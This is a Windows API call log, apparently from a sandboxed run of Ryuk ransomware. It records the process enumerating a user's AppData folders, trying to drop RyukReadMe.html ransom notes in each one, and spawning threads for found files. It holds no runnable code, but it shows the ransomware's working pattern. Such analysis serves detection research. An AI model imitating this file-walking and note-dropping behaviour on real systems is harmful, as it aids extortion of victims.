	[0249.107] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0
	[0249.107] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0249.107] SetLastError (dwErrCode=0x0) 
	[0249.107] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.107] GetLastError () returned 0x3
	[0249.107] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.107] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0249.108] SetLastError (dwErrCode=0x0) 
	[0249.108] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.108] GetLastError () returned 0x3
	[0249.108] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.108] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0249.109] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.109] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x210, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0249.109] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0249.109] SetLastError (dwErrCode=0x0) 
	[0249.109] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.109] GetLastError () returned 0x3
	[0249.109] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.110] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.110] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.110] SetLastError (dwErrCode=0x0) 
	[0249.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.110] GetLastError () returned 0x3
	[0249.110] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.110] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0249.110] SetLastError (dwErrCode=0x0) 
	[0249.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.110] GetLastError () returned 0x3
	[0249.110] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.111] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x220, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.111] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.111] SetLastError (dwErrCode=0x0) 
	[0249.111] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.111] GetLastError () returned 0x3
	[0249.111] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.111] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.111] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0
	[0249.111] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0249.111] SetLastError (dwErrCode=0x0) 
	[0249.111] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.111] GetLastError () returned 0x3
	[0249.112] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.112] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0249.112] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0249.115] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.116] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0249.116] SetLastError (dwErrCode=0x0) 
	[0249.116] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.116] GetLastError () returned 0x3
	[0249.116] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.116] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.116] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.116] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.116] SetLastError (dwErrCode=0x0) 
	[0249.116] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.116] GetLastError () returned 0x3
	[0249.116] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.116] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.116] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0249.117] SetLastError (dwErrCode=0x0) 
	[0249.117] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.117] GetLastError () returned 0x3
	[0249.117] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.117] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.117] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.117] SetLastError (dwErrCode=0x0) 
	[0249.117] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft Help\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.117] GetLastError () returned 0x3
	[0249.117] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.117] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0249.117] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0249.117] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x405185e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0249.117] SetLastError (dwErrCode=0x0) 
	[0249.117] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.118] GetLastError () returned 0x3
	[0249.118] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0249.118] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.118] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x405185e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0249.118] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x405185e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.118] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x887e3410, ftCreationTime.dwHighDateTime=0x1d5bbb3, ftLastAccessTime.dwLowDateTime=0xe2d860a0, ftLastAccessTime.dwHighDateTime=0x1d5c529, ftLastWriteTime.dwLowDateTime=0xe2d860a0, ftLastWriteTime.dwHighDateTime=0x1d5c529, nFileSizeHigh=0x0, nFileSizeLow=0x8f88, dwReserved0=0x210, dwReserved1=0x0, cFileName="-jDCM.csv", cAlternateFileName="")) returned 1
	[0249.118] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528
	[0249.121] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
